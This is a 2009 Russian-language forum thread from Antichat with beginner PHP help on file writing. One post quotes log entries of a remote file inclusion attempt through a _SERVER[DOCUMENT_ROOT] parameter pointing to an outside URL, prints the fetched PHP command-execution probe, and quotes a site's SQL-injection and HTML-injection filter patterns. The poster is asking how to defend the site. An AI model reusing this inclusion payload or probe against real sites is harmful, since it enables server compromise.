Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

20.02.2009, 04:14
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Сообщение от Frize
как сдесь сделать что бы текст добавлялся таким видом
1) текст
2) текст2
3) текст3
??
'
сам понял, чо спросил? Где в твоём примере
1) текст
2) текст2
3) текст3
????
PHP код:
<?php
$text1 = "1) текст";
$text2 = "2) текст2";
$text3 = "3) текст3";
$fp = fopen("counter.txt", "a"); // Открываем файл в режиме ДОБАВЛЕНИЯ записи в конец файла
if ($fp) { //Проверяем, что файл открылся на ДОБАВЛЕНИЕ ЗАПИСЕЙ
fwrite($fp, $text1 . "\r\n"); // Запись в файл
fwrite($fp, $text2 . "\r\n"); // Запись в файл
fwrite($fp, $text3 . "\r\n"); // Запись в файл
}
fclose($fp); //Закрытие файла
?>
|
|
|

20.02.2009, 15:21
|
|
Познающий
Регистрация: 08.11.2008
Сообщений: 31
Провел на форуме: 139522
Репутация:
4
|
|
да тупанул)
$fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи
$test = fwrite($fp, $_POST. "\r\n"); // Запись в файл
if ($test) echo 'Данные в файл успешно занесены.' ;
else echo ('Ошибка при записи в файл.';
fclose($fp); //Закрытие файла
возможно тут сделать? что бы он автоматически добавлял, не вписывая. например че нить такого 1=>100
1) текст
2) текст2
3) текст3
Последний раз редактировалось Frize; 20.02.2009 в 16:32..
|
|
|

20.02.2009, 16:01
|
|
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме: 2140897
Репутация:
267
|
|
PHP код:
function test($_POST){
{
$fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи
foreach($_POST as $key=>$value) {
fwrite($fp,$value."\r\n");
}
fclose($fp);
}
Frize,это?
|
|
|

20.02.2009, 16:17
|
|
Участник форума
Регистрация: 26.12.2006
Сообщений: 107
Провел на форуме: 228267
Репутация:
27
|
|
Всем, добрый день! Такой вопрос:
В логах безопасности сайта (в раделе динамических ошибок), нередко появляются следующие записи:
Код:
WARNING: urldecode() expects parameter 1 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
WARNING: preg_match() expects parameter 2 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50
WARNING: base64_decode() expects parameter 1 to be string, array given Line: 183 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50
Перейдя по адресу: http://www.igrawm.net.ru/404.txt?
Видим следующий код:
Код:
<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
Как я понимаю сайт пытаются взломать/проверить на какую-то уязвимость, насколько это опасно и можно ли с этим как-то бороться?
P.S
Вот код файла security.php с 177 по 188 строки:
Код:
foreach ($_GET as $var_name=>$var_value) {
if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|img|onmouseover).*?>/i", urldecode($var_value)) || preg_match("/\([^>]*\"?[^)]*\)/", $var_value) || preg_match("/\"|\'/", $var_value)) warn_report("HTML in GET - ".$var_name." = ". $var_value."");
if ($security_url_get == 1) {
if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in GET - ".$var_name." = ". $var_value);
}
$security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i";
$security_decode = base64_decode($var_value);
if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in GET - ".$var_name." = ". $var_value."");
if (preg_match($security_string, $var_value)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
$security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value);
if (preg_match($security_string, $security_slash)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
}
|
|
|

20.02.2009, 16:19
|
|
Познающий
Регистрация: 08.11.2008
Сообщений: 31
Провел на форуме: 139522
Репутация:
4
|
|
Shadow_p1raT, да походу это, ток чет не робит кажись)))
|
|
|

20.02.2009, 16:26
|
|
Новичок
Регистрация: 20.02.2009
Сообщений: 2
Провел на форуме: 4087
Репутация:
1
|
|
Добрый день. В общем требуется создать такой скрипит, который бы записывал в переменную первые 10 строк файла text.txt, затем заменял бы все слова «ready» на «all. ready» и записывал бы эту переменную в файл text2.txt, при этом удаляя из файла text2.txt всё, что там было.
Пробовал делать так, невышло:
<?php
$i = 0;
$h = fopen("text.txt","r");
while ($i <= 9) {
$content .= fgets($h);
$content .= "\r\n";
$i++;
}
fclose($h);
$content=ereg_replace('ready','all. ready',$text); // 5
$w=fopen("text2.txt","r");
fwrite($w,$content);
fclose($w);
?>
PS: извиняюсь, если глупость, я начал учить php позавчера.
|
|
|

20.02.2009, 16:31
|
|
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме: 2140897
Репутация:
267
|
|
spamoney,проверяй входные данные.Какой тип они имеют
Добавь строчку
PHP код:
is_string($var_name) or die('Переменная '. $var_value. ' не имеет строковой тип!'); //Тут уже смотри на свой вкус,ставить die() или ещё что нибудь
после этой
Код:
foreach ($_GET as $var_name=>$var_value) {
|
|
|

20.02.2009, 16:42
|
|
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме: 2140897
Репутация:
267
|
|
Ion,так?
PHP код:
<?php
$fp = fopen('text.txt','r');
for($i=0;$i<=9;$i++) {
$content .= fgets($fp);
}
fclose($fp);
$content = str_replace('ready','all. ready',$content);
$fp2 = fopen('text2.txt','w');
fwrite($fp2,$content);
fclose($fp2);
?>
|
|
|

20.02.2009, 16:52
|
|
Новичок
Регистрация: 20.02.2009
Сообщений: 2
Провел на форуме: 4087
Репутация:
1
|
|
Да, так. Спасибо большое.  Всё работает нормально, но при выполнении скрипта вылезает это:
Notice: Undefined variable: content in T:\home\localhost\1234.php on line 4
Что ему в 4-й строке не нравится?
|
|
|

20.02.2009, 16:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
spamoney По хорошему - надо добавить рекурсивную проверку, если в качестве параметра передают массив, ограничив глубину рекурсии скажем 2-3 уровнями (чтобы не заддосили). Если же уверены, что ваша КМС не принимает массивы в качестве параметра, то сделать, как предложил Shadow_p1raT только вместо die вызывать функцию warn_report
Ion В начале скрипта добавь $content='';
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|